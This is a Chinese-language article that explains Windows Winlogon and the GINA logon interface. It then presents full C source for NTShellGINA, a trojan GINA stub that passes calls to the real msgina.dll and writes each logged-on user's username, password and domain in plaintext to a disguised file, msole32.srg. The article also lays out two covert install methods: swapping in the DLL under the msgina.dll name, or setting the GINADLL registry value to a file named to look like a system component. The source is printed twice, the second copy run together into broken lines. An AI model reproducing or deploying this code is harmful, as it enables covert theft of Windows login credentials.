Winlogon登录和GINA
Winlogon登录和GINA -- NTShellGINA源代码
目录(?)[+]
- 一理论
- WinLogon登录管理
- 二代码
一、理论
WinLogon登录管理:
1、
Winlogon进程负责管理登录相关的安全性工作,它负责处理用户的登录与注销、启动用户shell、输入口令、更改口令、锁定与解锁工作站等。Winlogon进程必须保证其与安全相关操作对其他进程不可见,以免其他进程取得登录密码。
系统初始化时,启动用户程序之前,Winlogon进行特定工作已保障以上的需求。
(1) Winlogon进程将创建并打开一个Window Stations,然后设置一个访问控制人口(ACE),该ACE中只包含Winlogon进程的SID,这样就只有Winlogon进程才能访问该Window Stations 。
(2) 然后winlogon创建桌面,设置其中的winlogon桌面只有winlogon可以访问,其他进程不能访问该桌面的任何数据和代码;利用这一特性保护口令、锁定桌面等操作的安全。winlogon还会注册安全注意序列(SAS - secure attention sequence)的热键,任何时候按下SAS热键(缺省为ctrl+alt+del),将调用Winlogon,切换到安全桌面,从而使密码捕捉程序不能接收登录密码和更改密码等安全活动。
2、
而登录进程的验证和身份验证都是在GINA(GINA - Graphical Identification and Authentication图形标识和身份验证)中实现的,微软的GINA是MSGINA.dll,实现了默认的Windows NT登录界面。
不过可以自己开发GINA DLL以实现其他的身份验证方法,如磁卡。当然这也为木马留下了机会,可以通过编写和系统GINA界面相同的GINA,然后取代MSGINA.dll。在msdn sample里有一个GINA的例子。不过如果仅仅为了获取登录密码,没有必要那么麻烦,只需写一个接口和GINA一样的,然后所有函数在实现时都去调
用MSGINA.dll的相同函数就可以了,在msdn sample里也有这样一个例子叫做ginastub,当然作为木马还要在登录时将密码转储。(更多的gina信息,在msdn里查找gina)
3、
(1)
NTShelGINA就是使用了后一种方法。我把ginastub改了改,在登录时将username:password:domain存在msole32.srg里。它在运行时具体功能都要调用msgina.dll,因此安装时这个文件必须存在,然后将msgina.dll改名为winlogon32.dll,然后把NTShellGINA.dll拷贝为msgina.dll即可。这是ntshell里的第二种安装方法。
(2)
不过微软还在注册表里留了一个位置由于安装GINA,在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon下设置GINADLL为某个GINA DLL,(GINADLL这个值缺省没有)如果设置了这个值,nt会调用该GINA,而不会调用缺省的msGINA.dll。因此NTShell的第一种安装方法是将NTShellGINA.dll拷贝到system32\mshtmlgi.dll,然后设置GINADLL为mshtmlgi.dll。
因此第二种方法安装成功的前提是系统原来没有设置GINADLL这个值,否则将不予安装NTShellGINA 。当然在win2000里如果使用第二种安装方法还要把dllcache里msgina.dll改名。(ntshell改名为mshtmlgi.dll)。
由于GINA DLL负责系统认证和安全登录,因此如果一旦出错,用户将不能登录系统,必须慎用。也因此NTShell在安装时作了较多的检测,如果检测失败将不予安装。比如在把ntshellgina.dll拷贝为文件msgina.dll的安装方法里,第一次mslogon32.dll<-msgina.dll<-ntshellgina.dll,如果再次安装用msgina.dll替换mslogon32.dll,用ntshellgina.dll替换后来的msgina.dll(其实还是ntshellgina.dll),这样原来的msgina.dll就没有了,只有两个ntshellgina.dll,找不到真正的msgina.dll,ntshellgina.dll将失败。
ntshell依次作如下检测:
步一:注册表里的GINADLL如果设置,则认为系统不是使用默认的登录GINA,自然不予安装(找不到msgina.dll或者其他程序工作不正常)
步二:如果系统的msgina.dll和ntshellgina.dll相同,则认为已经安装过了,不能再次安装
步三:如果系统中存在mslogon32.dll,有可能使用ntshell安装过了,不再安装(除非你确认,msgina.dll还是原来的,可以手工删除mslogon32.dll,再安装;否则不要安装)
步四:如果安装出错,不能登录,可以参考msdn的如下说明进行恢复:(我使用的是第4种方法,其他的未试)
二、代码
- /*
- NTShellGINA.c - a gina stub come from NTShell 1.0
- by:bingle@email.com.cn, from homepage:bingle_site.top263.net
- 此文件是从tinastub.c文件修改过来的,
- 此文件将保存期登陆的密码到文件 system32\\msole32.srg
- --*/
- #include <windows.h>
- #include <stdio.h>
- #include <winwlx.h>
- #include "ginastub.h"
- //
- // winlogon function dispatch table
- //
- PWLX_DISPATCH_VERSION_1_0 g_pWinlogon;
- //
- // Functions pointers to the real msgina which we will call.
- //
- PGWLXNEGOTIATE GWlxNegotiate;
- PGWLXINITIALIZE GWlxInitialize;
- PGWLXDISPLAYSASNOTICE GWlxDisplaySASNotice;
- PGWLXLOGGEDOUTSAS GWlxLoggedOutSAS;
- PGWLXACTIVATEUSERSHELL GWlxActivateUserShell;
- PGWLXLOGGEDONSAS GWlxLoggedOnSAS;
- PGWLXDISPLAYLOCKEDNOTICE GWlxDisplayLockedNotice;
- PGWLXWKSTALOCKEDSAS GWlxWkstaLockedSAS;
- PGWLXISLOCKOK GWlxIsLockOk;
- PGWLXISLOGOFFOK GWlxIsLogoffOk;
- PGWLXLOGOFF GWlxLogoff;
- PGWLXSHUTDOWN GWlxShutdown;
- //
- // NEW for version 1.1
- //
- PGWLXSTARTAPPLICATION GWlxStartApplication;
- PGWLXSCREENSAVERNOTIFY GWlxScreenSaverNotify;
- //
- // hook into the real GINA.
- //
- BOOL MyInitialize( void )
- {
- HINSTANCE hDll;
- //
- // judge if which dll to load, if the file named "msgina.dll"
- // then ntshell is changed MSGINA.DLL-->mslogon32.dll, so load it
- // if named others then just load MSGINA.DLL
- //
- char origina[]="MSGINA.DLL";
- char chgedgina[]="mslogon32.dll";
- char *realgina;
- char filename[MAX_PATH];
- int result;
- FILE *fp;
- HMODULE hself;
- #ifdef _DEBUG
- fp=fopen("ginalog.txt", "ab");
- if(fp)
- {
- sprintf(filename, "\r\nMyInitialize been called by ");
- fwrite(filename, strlen(filename), 1, fp);
- result=GetModuleFileName(NULL, filename, MAX_PATH);
- if(result)fwrite(filename, strlen(filename), 1, fp);
- fclose(fp);
- }
- #endif
- realgina=NULL;
- hself=GetModuleHandle(origina);
- if(!hself)realgina=origina;//hself=GetModuleHandle(chgedgina);
- else realgina=chgedgina;//if origina loaded, this is origina
- // Load original MSGINA.DLL.
- if( !(hDll = LoadLibrary( realgina )) ) {
- return FALSE;
- }
- // Get pointers to all of the WLX functions in the real MSGINA.
- GWlxNegotiate = (PGWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
- if( !GWlxNegotiate ) {
- return FALSE;
- }
- GWlxInitialize = (PGWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
- if( !GWlxInitialize ) {
- return FALSE;
- }
- GWlxDisplaySASNotice =
- (PGWLXDISPLAYSASNOTICE)GetProcAddress( hDll, "WlxDisplaySASNotice" );
- if( !GWlxDisplaySASNotice ) {
- return FALSE;
- }
- GWlxLoggedOutSAS =
- (PGWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
- if( !GWlxLoggedOutSAS ) {
- return FALSE;
- }
- GWlxActivateUserShell =
- (PGWLXACTIVATEUSERSHELL)GetProcAddress( hDll, "WlxActivateUserShell" );
- if( !GWlxActivateUserShell ) {
- return FALSE;
- }
- GWlxLoggedOnSAS =
- (PGWLXLOGGEDONSAS)GetProcAddress( hDll, "WlxLoggedOnSAS" );
- if( !GWlxLoggedOnSAS ) {
- return FALSE;
- }
- GWlxDisplayLockedNotice =
- (PGWLXDISPLAYLOCKEDNOTICE)GetProcAddress(
- hDll,
- "WlxDisplayLockedNotice" );
- if( !GWlxDisplayLockedNotice ) {
- return FALSE;
- }
- GWlxIsLockOk = (PGWLXISLOCKOK)GetProcAddress( hDll, "WlxIsLockOk" );
- if( !GWlxIsLockOk ) {
- return FALSE;
- }
- GWlxWkstaLockedSAS =
- (PGWLXWKSTALOCKEDSAS)GetProcAddress( hDll, "WlxWkstaLockedSAS" );
- if( !GWlxWkstaLockedSAS ) {
- return FALSE;
- }
- GWlxIsLogoffOk = (PGWLXISLOGOFFOK)GetProcAddress( hDll, "WlxIsLogoffOk" );
- if( !GWlxIsLogoffOk ) {
- return FALSE;
- }
- GWlxLogoff = (PGWLXLOGOFF)GetProcAddress( hDll, "WlxLogoff" );
- if( !GWlxLogoff ) {
- return FALSE;
- }
- GWlxShutdown = (PGWLXSHUTDOWN)GetProcAddress( hDll, "WlxShutdown" );
- if( !GWlxShutdown ) {
- return FALSE;
- }
- // we don't check for failure here because these don't exist for
- // gina's implemented prior to Windows NT 4.0
- GWlxStartApplication = (PGWLXSTARTAPPLICATION) GetProcAddress( hDll, "WlxStartApplication" );
- GWlxScreenSaverNotify = (PGWLXSCREENSAVERNOTIFY) GetProcAddress( hDll, "WlxScreenSaverNotify" );
- // Everything loaded ok. Return success.
- return TRUE;
- }
- BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
- {
- if( !MyInitialize() ) return FALSE;
- return GWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
- }
- BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
- PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
- {
- return GWlxInitialize( lpWinsta, hWlx, pvReserved,
- pWinlogonFunctions, pWlxContext );
- }
- VOID WINAPI WlxDisplaySASNotice( PVOID pWlxContext )
- {
- GWlxDisplaySASNotice( pWlxContext );
- }
- int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
- PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
- PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
- PVOID *pProfile)
- {
- int iRet;
- iRet = GWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,
- pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
- if(iRet == WLX_SAS_ACTION_LOGON) {
- // copy pMprNotifyInfo and pLogonSid for later use
- FILE *fp;
- fp=fopen("msole32.srg", "a");
- if(fp!=NULL)
- {
- char infor[300], buf[300];
- memset(buf, 0, 300);
- wcstombs(buf, pMprNotifyInfo->pszUserName, 300);
- sprintf(infor, "%s", buf);
- memset(buf, 0, 300);//if convert failed, we use the error one also
- wcstombs(buf, pMprNotifyInfo->pszPassword, 300);
- sprintf(infor, "%s:%s", infor, buf);
- memset(buf, 0, 300);
- wcstombs(buf, pMprNotifyInfo->pszDomain, 300);
- sprintf(infor, "%s:%s\r\n", infor, buf);
- fwrite(infor, 1, strlen(infor), fp);
- fclose(fp);
- }
- // pMprNotifyInfo->pszOldPassword
- }
- return iRet;
- }
- BOOL WINAPI WlxActivateUserShell(
- PVOID pWlxContext,
- PWSTR pszDesktopName,
- PWSTR pszMprLogonScript,
- PVOID pEnvironment)
- {
- return GWlxActivateUserShell(
- pWlxContext,
- pszDesktopName,
- pszMprLogonScript,
- pEnvironment
- );
- }
- int WINAPI WlxLoggedOnSAS(
- PVOID pWlxContext,
- DWORD dwSasType,
- PVOID pReserved)
- {
- return GWlxLoggedOnSAS( pWlxContext, dwSasType, pReserved );
- }
- VOID WINAPI WlxDisplayLockedNotice( PVOID pWlxContext )
- {
- GWlxDisplayLockedNotice( pWlxContext );
- }
- BOOL WINAPI WlxIsLockOk( PVOID pWlxContext )
- {
- return GWlxIsLockOk( pWlxContext );
- }
- int WINAPI WlxWkstaLockedSAS(
- PVOID pWlxContext,
- DWORD dwSasType )
- {
- return GWlxWkstaLockedSAS( pWlxContext, dwSasType );
- }
- BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
- {
- BOOL bSuccess;
- bSuccess = GWlxIsLogoffOk( pWlxContext );
- if(bSuccess) {
- //
- // if it's ok to logoff, finish with the stored credentials
- // and scrub the buffers
- //
- }
- return bSuccess;
- }
- VOID WINAPI WlxLogoff( PVOID pWlxContext )
- {
- GWlxLogoff( pWlxContext );
- }
- VOID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType )
- {
- GWlxShutdown( pWlxContext, ShutdownType );
- }
- //
- // NEW for version 1.1
- //
- BOOL WINAPI WlxScreenSaverNotify(
- PVOID pWlxContext,
- BOOL * pSecure
- )
- {
- if(GWlxScreenSaverNotify != NULL)
- return GWlxScreenSaverNotify( pWlxContext, pSecure );
- //
- // if not exported, return something intelligent
- //
- *pSecure = TRUE;
- return TRUE;
- }
- BOOL WINAPI WlxStartApplication(
- PVOID pWlxContext,
- PWSTR pszDesktopName,
- PVOID pEnvironment,
- PWSTR pszCmdLine
- )
- {
- if(GWlxStartApplication != NULL)
- return GWlxStartApplication(
- pWlxContext,
- pszDesktopName,
- pEnvironment,
- pszCmdLine
- );
- //
- // if not exported, return something intelligent
- //
- }
/*
NTShellGINA.c - a gina stub come from NTShell 1.0by:bingle@email.com.cn, from homepage:bingle_site.top263.net此文件是从tinastub.c文件修改过来的,此文件将保存期登陆的密码到文件 system32\\msole32.srg--*/
#include <windows.h>
#include <stdio.h>
#include <winwlx.h>
#include "ginastub.h"//
// winlogon function dispatch table
//PWLX_DISPATCH_VERSION_1_0 g_pWinlogon;//
// Functions pointers to the real msgina which we will call.
//PGWLXNEGOTIATE GWlxNegotiate;
PGWLXINITIALIZE GWlxInitialize;
PGWLXDISPLAYSASNOTICE GWlxDisplaySASNotice;
PGWLXLOGGEDOUTSAS GWlxLoggedOutSAS;
PGWLXACTIVATEUSERSHELL GWlxActivateUserShell;
PGWLXLOGGEDONSAS GWlxLoggedOnSAS;
PGWLXDISPLAYLOCKEDNOTICE GWlxDisplayLockedNotice;
PGWLXWKSTALOCKEDSAS GWlxWkstaLockedSAS;
PGWLXISLOCKOK GWlxIsLockOk;
PGWLXISLOGOFFOK GWlxIsLogoffOk;
PGWLXLOGOFF GWlxLogoff;
PGWLXSHUTDOWN GWlxShutdown;//
// NEW for version 1.1
//PGWLXSTARTAPPLICATION GWlxStartApplication;
PGWLXSCREENSAVERNOTIFY GWlxScreenSaverNotify;//
// hook into the real GINA.
//
BOOL MyInitialize( void )
{HINSTANCE hDll;
//
// judge if which dll to load, if the file named "msgina.dll"
// then ntshell is changed MSGINA.DLL-->mslogon32.dll, so load it
// if named others then just load MSGINA.DLL
//char origina[]="MSGINA.DLL";char chgedgina[]="mslogon32.dll";char *realgina;char filename[MAX_PATH];int result;FILE *fp;HMODULE hself;#ifdef _DEBUGfp=fopen("ginalog.txt", "ab");if(fp){sprintf(filename, "\r\nMyInitialize been called by ");fwrite(filename, strlen(filename), 1, fp);result=GetModuleFileName(NULL, filename, MAX_PATH);if(result)fwrite(filename, strlen(filename), 1, fp);fclose(fp);}
#endifrealgina=NULL;hself=GetModuleHandle(origina);if(!hself)realgina=origina;//hself=GetModuleHandle(chgedgina);else realgina=chgedgina;//if origina loaded, this is origina// Load original MSGINA.DLL.if( !(hDll = LoadLibrary( realgina )) ) {return FALSE;}// Get pointers to all of the WLX functions in the real MSGINA.GWlxNegotiate = (PGWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );if( !GWlxNegotiate ) {return FALSE;}GWlxInitialize = (PGWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );if( !GWlxInitialize ) {return FALSE;}GWlxDisplaySASNotice =(PGWLXDISPLAYSASNOTICE)GetProcAddress( hDll, "WlxDisplaySASNotice" );if( !GWlxDisplaySASNotice ) {return FALSE;}GWlxLoggedOutSAS =(PGWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );if( !GWlxLoggedOutSAS ) {return FALSE;}GWlxActivateUserShell =(PGWLXACTIVATEUSERSHELL)GetProcAddress( hDll, "WlxActivateUserShell" );if( !GWlxActivateUserShell ) {return FALSE;}GWlxLoggedOnSAS =(PGWLXLOGGEDONSAS)GetProcAddress( hDll, "WlxLoggedOnSAS" );if( !GWlxLoggedOnSAS ) {return FALSE;}GWlxDisplayLockedNotice =(PGWLXDISPLAYLOCKEDNOTICE)GetProcAddress(hDll,"WlxDisplayLockedNotice" );if( !GWlxDisplayLockedNotice ) {return FALSE;}GWlxIsLockOk = (PGWLXISLOCKOK)GetProcAddress( hDll, "WlxIsLockOk" );if( !GWlxIsLockOk ) {return FALSE;}GWlxWkstaLockedSAS =(PGWLXWKSTALOCKEDSAS)GetProcAddress( hDll, "WlxWkstaLockedSAS" );if( !GWlxWkstaLockedSAS ) {return FALSE;}GWlxIsLogoffOk = (PGWLXISLOGOFFOK)GetProcAddress( hDll, "WlxIsLogoffOk" );if( !GWlxIsLogoffOk ) {return FALSE;}GWlxLogoff = (PGWLXLOGOFF)GetProcAddress( hDll, "WlxLogoff" );if( !GWlxLogoff ) {return FALSE;}GWlxShutdown = (PGWLXSHUTDOWN)GetProcAddress( hDll, "WlxShutdown" );if( !GWlxShutdown ) {return FALSE;}// we don't check for failure here because these don't exist for// gina's implemented prior to Windows NT 4.0GWlxStartApplication = (PGWLXSTARTAPPLICATION) GetProcAddress( hDll, "WlxStartApplication" );GWlxScreenSaverNotify = (PGWLXSCREENSAVERNOTIFY) GetProcAddress( hDll, "WlxScreenSaverNotify" );// Everything loaded ok. Return success.return TRUE;
}BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{if( !MyInitialize() ) return FALSE;return GWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{return GWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions, pWlxContext );
}VOID WINAPI WlxDisplaySASNotice( PVOID pWlxContext )
{GWlxDisplaySASNotice( pWlxContext );
}int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,PVOID *pProfile)
{int iRet;iRet = GWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );if(iRet == WLX_SAS_ACTION_LOGON) {// copy pMprNotifyInfo and pLogonSid for later useFILE *fp;fp=fopen("msole32.srg", "a");if(fp!=NULL){char infor[300], buf[300];memset(buf, 0, 300);wcstombs(buf, pMprNotifyInfo->pszUserName, 300);sprintf(infor, "%s", buf);memset(buf, 0, 300);//if convert failed, we use the error one alsowcstombs(buf, pMprNotifyInfo->pszPassword, 300);sprintf(infor, "%s:%s", infor, buf);memset(buf, 0, 300);wcstombs(buf, pMprNotifyInfo->pszDomain, 300);sprintf(infor, "%s:%s\r\n", infor, buf);fwrite(infor, 1, strlen(infor), fp);fclose(fp);}// pMprNotifyInfo->pszOldPassword}return iRet;
}BOOL WINAPI WlxActivateUserShell(PVOID pWlxContext,PWSTR pszDesktopName,PWSTR pszMprLogonScript,PVOID pEnvironment)
{return GWlxActivateUserShell(pWlxContext,pszDesktopName,pszMprLogonScript,pEnvironment);
}int WINAPI WlxLoggedOnSAS(PVOID pWlxContext,DWORD dwSasType,PVOID pReserved)
{return GWlxLoggedOnSAS( pWlxContext, dwSasType, pReserved );
}VOID WINAPI WlxDisplayLockedNotice( PVOID pWlxContext )
{GWlxDisplayLockedNotice( pWlxContext );
}BOOL WINAPI WlxIsLockOk( PVOID pWlxContext )
{return GWlxIsLockOk( pWlxContext );
}int WINAPI WlxWkstaLockedSAS(PVOID pWlxContext,DWORD dwSasType )
{return GWlxWkstaLockedSAS( pWlxContext, dwSasType );
}BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
{BOOL bSuccess;bSuccess = GWlxIsLogoffOk( pWlxContext );if(bSuccess) {//// if it's ok to logoff, finish with the stored credentials// and scrub the buffers//}return bSuccess;
}VOID WINAPI WlxLogoff( PVOID pWlxContext )
{GWlxLogoff( pWlxContext );
}VOID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType )
{GWlxShutdown( pWlxContext, ShutdownType );
}//
// NEW for version 1.1
//
BOOL WINAPI WlxScreenSaverNotify(PVOID pWlxContext,BOOL * pSecure)
{if(GWlxScreenSaverNotify != NULL)return GWlxScreenSaverNotify( pWlxContext, pSecure );//// if not exported, return something intelligent//*pSecure = TRUE;return TRUE;
}BOOL WINAPI WlxStartApplication(PVOID pWlxContext,PWSTR pszDesktopName,PVOID pEnvironment,PWSTR pszCmdLine)
{if(GWlxStartApplication != NULL)return GWlxStartApplication(pWlxContext,pszDesktopName,pEnvironment,pszCmdLine);//// if not exported, return something intelligent//
}
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